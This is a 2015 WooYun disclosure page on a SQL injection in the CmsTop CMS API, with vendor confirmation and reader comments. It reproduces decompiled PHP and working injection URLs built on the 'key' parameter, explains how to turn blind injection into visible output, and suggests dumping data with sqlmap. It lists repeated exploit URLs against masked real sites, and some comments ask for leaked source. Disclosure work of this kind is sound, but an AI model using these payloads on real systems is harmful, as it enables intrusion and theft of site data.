当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157276

漏洞标题:cmstop通用SQL注入漏洞(附多个大型站点案例)

相关厂商:CmsTop

漏洞作者: 路人甲

提交时间:2015-12-01 11:25

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-01: 细节已通知厂商并且等待厂商处理中
2015-12-01: 厂商已经确认,细节仅向厂商公开
2015-12-04: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2016-01-25: 细节向核心白帽子及相关领域专家公开
2016-02-04: 细节向普通白帽子公开
2016-02-14: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

cmstop SQL注入

详细说明:

0x01:介绍
目前已服务了300多家网站,客户遍及全国30个省市,覆盖报业、杂志、广电、网媒、政府、军队和高校等多个领域,其中代表性客户包括中纪委、新华社、人民日报社、CCTV、湖北广电、中青网、千龙网、财经网、参考消息、美国侨报、ELLE和瑞丽等
0x02:分析
问题出在api这个接口当中,cmstop为闭源系统,代码已经过zend加密,并且各模块进行严格封装。。。
一次偶然的机会截获了一份代码,并解密,取出其中代码进行分析,发现一处SQL注入漏洞并发现可绕过限制对其算法进行破解(如授权限制)。。
在apps\article\controller\api\article.php中

class controller_api_article extends api_controller_abstract
{
private $article = NULL;
public function __construct( $app )
{
$FN_-2147483646( $app );
$this->article = loader::model( "admin/article" );
}
public function get( )
{
$contentid = value( $_GET, "contentid", 0 );
if ( !$contentid )
{
$result = array( "state" => FALSE, "error" => "内容编号错误" );
}
else
{
$data = $this->article->get( $contentid, "*", "show" );
if ( $data )
{
foreach ( array( "status_old", "unpublished", "unpublishedby", "modified", "modifiedby", "checked", "checkedby", "locked", "lockedby", "noted", "notedby", "note", "workflow_step", "workflow_roleid", "placeid", "saveremoteimage" ) as $field )
{
unset( $data[$field] );
}
}
$result = array(
"state" => TRUE,
"data" => $data
);
}
echo json_encode( $result );
}


跟踪\public\api\abstract.php(初始化抽象类)

public function __construct( $app )
{
$FN_-2147483646( $app );
$this->config = config::get( "config" );
$this->setting = setting::get( $app->app );
$this->system = setting::get( "system" );
$this->json = factory::json( );
$this->cache = factory::cache( );
$this->auth_key = $this->get_key( );
if ( !$this->auth_key )
{
$this->showmessage( "KEY获取失败" );
}
$this->auth_sign = $this->get_sign( );
if ( !$this->auth_sign )
{
$this->showmessage( "SIGN签名获取失败" );
}
$this->auth_secret = $this->get_secret( $this->auth_key );


跟踪$this->get_key( )

protected function get_key( )
{
$key = isset( $_GET['key'] ) ? $_GET['key'] : "";
if ( !$key )
{
$key = isset( $_POST['key'] ) ? $_POST['key'] : "";
}
return $key;
}


直接get方式传入
$this->auth_key 进入get_secret方法

protected function get_secret( $key )
{
$userinfo = $this->get_userinfo( $key );
return $userinfo['auth_secret'];
}


又进入get_userinfo

protected function get_userinfo( $key )
{
$_key = "api_userinfo_".$key;
$userinfo = $this->cache->get( $_key );
if ( !$userinfo )
{
$openauth = loader::model( "admin/openauth", "system" );
$userinfo = $openauth->get( "auth_key='{$key}' AND disabled=0" );
if ( !$userinfo )
{
return FALSE;
}
$user_model = loader::model( "admin/admin", "system" );
$a = $user_model->login( $userinfo['userid'] );
if ( !$a )
{
return FALSE;
}
$userinfo = array_merge( $userinfo, $a );
$user_model = loader::model( "member", "member" );
$a = $user_model->get( $userinfo['userid'], "groupid" );
if ( !$a )
{
return FALSE;
}
$userinfo = array_merge( $userinfo, $a );
$this->cache->set( $_key, $userinfo );
}
return $userinfo;


其中$key又进入了openauth类当中的get方法
apps\system\model\admin\openauth.php
继续父类model.php

public function get( $where = NULL, $fields = "*", $order = NULL )
{
return $this->select( $where, $fields, $order, NULL, NULL, array( ), FALSE );
}


//$userinfo = $openauth->get( "auth_key='{$key}' AND disabled=0" );
进入select查询,造成SQL注入。。。
但是这是一个不是回显的注入漏洞,如何把他变成回显呢?
例如,我们直接访问
http://**.**.**.**/?app=article&controller=article&action=get&key=a%27%20and%201=1--+a&sign=3333&contentid=1
和http://**.**.**.**/?app=article&controller=article&action=get&key=a%27%20and%201=12--+a&sign=3333&contentid=1
没有任何区别。。。使用sqlmap也没法很好的判断(除非时间盲注)
我们在后面加入or 1=1 使前面成立,将数据进行输出,造成回显,这样就达到了我们的目的了。。
如http://**.**.**.**/?app=article&controller=article&action=get&key=a%27%20or%201=1%20and%201=1--+a&sign=3333&contentid=1

1.png


http://**.**.**.**/?app=article&controller=article&action=get&key=a%27%20or%201=1%20and%201=21--+a&sign=3333&contentid=1

2.png


并且可以直接用sqlmap跑出数据了。。。
提供以下案例测试:
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

漏洞证明:

提供以下案例测试:
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1
**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-01 16:09

厂商回复:

非常感谢作者的辛苦付出,为CmsTop系统的安全做了贡献!代表CmsTop的广大用户感谢您。

最新状态:

2015-12-01:已修复


漏洞评价:

评价

  1. 2015-12-01 11:36 | xsser 认证白帽子 ( 普通白帽子 | Rank:282 漏洞数:21 | 当我又回首一切,这个世界会好吗?)

    三个白帽呢

  2. 2015-12-01 11:40 | 狗狗侠 认证白帽子 ( 普通白帽子 | Rank:518 漏洞数:58 | 我是狗狗侠)

    @xsser 大哥。。。这是毕源的。。。⊙﹏⊙b汗

  3. 2015-12-01 13:48 | saline ( 普通白帽子 | Rank:274 漏洞数:36 | Focus On Web Secur1ty)

    这个是咋解密的.不是不开源的嘛~

  4. 2015-12-08 10:02 | 沉默 ( 路人 | Rank:23 漏洞数:6 | 国内知名Web分布式实时计算系统架构师,分...)

    CMSTOP虽然用了PDO,但是他没用占位符,典型的找黑设计

  5. 2015-12-08 10:11 | D&G ( 普通白帽子 | Rank:561 漏洞数:110 | going)

    @沉默 有源码?求

  6. 2015-12-08 12:29 | f4ckbaidu ( 普通白帽子 | Rank:223 漏洞数:28 | 开发真是日了狗了)

    @沉默 大牛,求源码

  7. 2015-12-08 19:54 | Xser ( 普通白帽子 | Rank:365 漏洞数:83 | JDSec)

    @沉默 求源码

  8. 2015-12-08 22:37 | onpu ( 普通白帽子 | Rank:167 漏洞数:37 )

    坐等公开